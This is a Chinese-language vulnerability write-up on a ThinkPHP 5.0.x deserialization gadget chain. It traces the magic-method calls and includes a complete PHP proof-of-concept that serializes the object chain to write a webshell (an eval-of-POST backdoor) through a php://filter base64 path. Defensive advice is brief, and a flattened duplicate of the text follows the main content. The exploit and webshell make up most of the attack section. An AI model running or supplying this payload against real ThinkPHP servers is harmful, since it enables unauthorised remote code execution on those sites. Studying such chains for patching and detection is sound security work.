Thinkphp5.0.x反序列化利用链分析
字数 1182 2025-08-03 16:45:17

ThinkPHP 5.0.x 反序列化漏洞利用链分析

漏洞概述

ThinkPHP 5.0.x 版本中存在一个反序列化漏洞利用链,攻击者可以通过精心构造的序列化数据触发一系列魔术方法的调用,最终实现任意文件写入,从而获取Webshell。

漏洞影响版本

  • ThinkPHP 5.0.24
  • ThinkPHP 5.0.18
  • ThinkPHP 5.0.9 不可用

利用链分析

1. 起点:Windows类的__destruct方法

namespace think\process\pipes{
    class Windows{
        private $files=[];
        
        public function __destruct(){
            $this->removeFiles();
        }
    }
}

当反序列化对象被销毁时,会自动调用__destruct方法,进而调用removeFiles方法。

2. removeFiles方法触发__toString

// thinkphp/library/think/process/pipes/Windows.php
protected function removeFiles(){
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {  // 触发$filename对象的__toString方法
            @unlink($filename);
        }
    }
}

3. Model类的__toString方法

// thinkphp/library/think/Model.php
public function __toString(){
    return $this->toJson();
}

public function toJson(){
    return json_encode($this->toArray());
}

public function toArray(){
    // 关键代码
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // ...
        } elseif (strpos($name, '.')) {
            // ...
        } else {
            $relation = $this->getAttr($name);  // 调用getError方法
            if ($relation && $relation instanceof Relation) {
                $value = $this->getRelationData($relation);
                if ($this->bindAttr) {
                    foreach ($this->bindAttr as $key => $attr) {
                        $item[$key] = $value ? $value->getAttr($attr) : null;  // 触发Output类的__call
                    }
                }
            }
        }
    }
}

4. 关键条件构造

要使上述利用链成功执行,需要满足以下条件:

  1. $this->append不为空
  2. $this->bindAttr不为空
  3. $this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)

5. Output类的__call方法

// thinkphp/library/think/console/Output.php
public function __call($method, $args){
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        return call_user_func_array([$this, 'block'], $args);
    }
}

6. block方法调用链

// thinkphp/library/think/console/Output.php
protected function block($style, $message){
    $this->writeln("<{$style}>{$message}</{$style}>");
}

protected function writeln($messages){
    $this->write($messages, true);
}

public function write($messages, $newline = false){
    $this->handle->write($messages);  // 调用Memcached类的write方法
}

7. Memcached类的write方法

// thinkphp/library/think/session/driver/Memcached.php
public function write($sessID, $sessData){
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData);
}

8. File类的set方法

// thinkphp/library/think/cache/driver/File.php
public function set($name, $value, $expire = null){
    if (is_null($expire)) {
        $expire = $this->options['expire'];
    }
    $filename = $this->getCacheKey($name);
    $data = serialize($value);
    if ($this->options['data_compress'] && function_exists('gzcompress')) {
        $data = gzcompress($data, 3);
    }
    $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    $result = file_put_contents($filename, $data);
    if ($result) {
        if ($this->tag && !$this->has($this->tag)) {
            $this->setTagItem($filename);  // 关键点:二次调用set
        }
        clearstatcache();
        return true;
    }
    return false;
}

9. setTagItem方法实现最终利用

// thinkphp/library/think/cache/driver/File.php
protected function setTagItem($name){
    if ($this->tag) {
        $key = 'tag_' . md5($this->tag);
        $this->tag = null;
        $value = $name;
        $this->set($key, $value);  // 二次调用set,参数完全可控
    }
}

完整利用POC

<?php

//__destruct
namespace think\process\pipes{
    class Windows{
        private $files=[];

        public function __construct($pivot)
        {
            $this->files[]=$pivot; //传入Pivot类
        }
    }
}

//__toString Model子类
namespace think\model{
    class Pivot{
        protected $parent;
        protected $append = [];
        protected $error;

        public function __construct($output,$hasone)
        {
            $this->parent=$output; //$this->parent等于Output类
            $this->append=['a'=>'getError'];
            $this->error=$hasone;   //$modelRelation=$this->error
        }
    }
}

//getModel
namespace think\db{
    class Query
    {
        protected $model;

        public function __construct($output)
        {
            $this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
        }
    }
}

namespace think\console{
    class Output
    {
        private $handle = null;
        protected $styles;
        public function __construct($memcached)
        {
            $this->handle=$memcached;
            $this->styles=['getAttr'];
        }
    }
}

//Relation
namespace think\model\relation{
    class HasOne{
        protected $query;
        protected $selfRelation;
        protected $bindAttr = [];

        public function __construct($query)
        {
            $this->query=$query; //调用Query类的getModel
            $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
            $this->bindAttr=['a'=>'admin'];  //控制__call的参数$attr
        }
    }
}

namespace think\session\driver{
    class Memcached{
        protected $handler = null;

        public function __construct($file)
        {
            $this->handler=$file; //$this->handler等于File类
        }
    }
}

namespace think\cache\driver{
    class File{
        protected $options = [
            'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'cache_subdir'=>false,
            'prefix'=>'',
            'data_compress'=>false
        ];
        protected $tag=true;
    }
}

namespace {
    $file=new think\cache\driver\File();
    $memcached=new think\session\driver\Memcached($file);
    $output=new think\console\Output($memcached);
    $query=new think\db\Query($output);
    $hasone=new think\model\relation\HasOne($query);
    $pivot=new think\model\Pivot($output,$hasone);
    $windows=new think\process\pipes\Windows($pivot);

    echo urlencode(serialize($windows));
}

利用效果

成功写入Webshell文件:

http://localhost/public/a.php3b58a9545013e88c7186db11bb158c44.php

文件内容:

<?php @eval($_POST['ccc']);?>

技术要点

  1. 魔术方法调用链:通过精心构造的序列化对象触发__destruct->__toString->__call的调用链

  2. 二次调用set实现内容可控

    • 第一次调用set时参数不可控
    • 通过setTagItem方法二次调用set,此时参数完全可控
  3. 过滤器绕过技巧

    • 使用php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode绕过文件名拼接和exit()限制
    • 原理:通过字符集转换和base64解码处理payload
  4. 关键条件构造

    • 确保$this->append$this->bindAttr不为空
    • 确保$this->parent$modelRelation的关系满足条件
    • 确保$modelRelation->isSelfRelation()返回false

防御建议

  1. 升级到最新版本的ThinkPHP
  2. 避免反序列化用户可控的数据
  3. 对反序列化操作进行严格的白名单控制
  4. 使用PHP的open_basedir限制文件操作范围
  5. 禁用危险的PHP协议如php://filter

参考链接

  1. PHP过滤器绕过技巧
  2. ThinkPHP反序列化漏洞分析
  3. ThinkPHP反序列化利用链
ThinkPHP 5.0.x 反序列化漏洞利用链分析 漏洞概述 ThinkPHP 5.0.x 版本中存在一个反序列化漏洞利用链,攻击者可以通过精心构造的序列化数据触发一系列魔术方法的调用,最终实现任意文件写入,从而获取Webshell。 漏洞影响版本 ThinkPHP 5.0.24 ThinkPHP 5.0.18 ThinkPHP 5.0.9 不可用 利用链分析 1. 起点:Windows类的__ destruct方法 当反序列化对象被销毁时,会自动调用 __destruct 方法,进而调用 removeFiles 方法。 2. removeFiles方法触发__ toString 3. Model类的__ toString方法 4. 关键条件构造 要使上述利用链成功执行,需要满足以下条件: $this->append 不为空 $this->bindAttr 不为空 $this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent) 5. Output类的__ call方法 6. block方法调用链 7. Memcached类的write方法 8. File类的set方法 9. setTagItem方法实现最终利用 完整利用POC 利用效果 成功写入Webshell文件: 文件内容: 技术要点 魔术方法调用链 :通过精心构造的序列化对象触发 __destruct -> __toString -> __call 的调用链 二次调用set实现内容可控 : 第一次调用set时参数不可控 通过 setTagItem 方法二次调用set,此时参数完全可控 过滤器绕过技巧 : 使用 php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode 绕过文件名拼接和exit()限制 原理:通过字符集转换和base64解码处理payload 关键条件构造 : 确保 $this->append 和 $this->bindAttr 不为空 确保 $this->parent 和 $modelRelation 的关系满足条件 确保 $modelRelation->isSelfRelation() 返回false 防御建议 升级到最新版本的ThinkPHP 避免反序列化用户可控的数据 对反序列化操作进行严格的白名单控制 使用PHP的 open_basedir 限制文件操作范围 禁用危险的PHP协议如 php://filter 参考链接 PHP过滤器绕过技巧 ThinkPHP反序列化漏洞分析 ThinkPHP反序列化利用链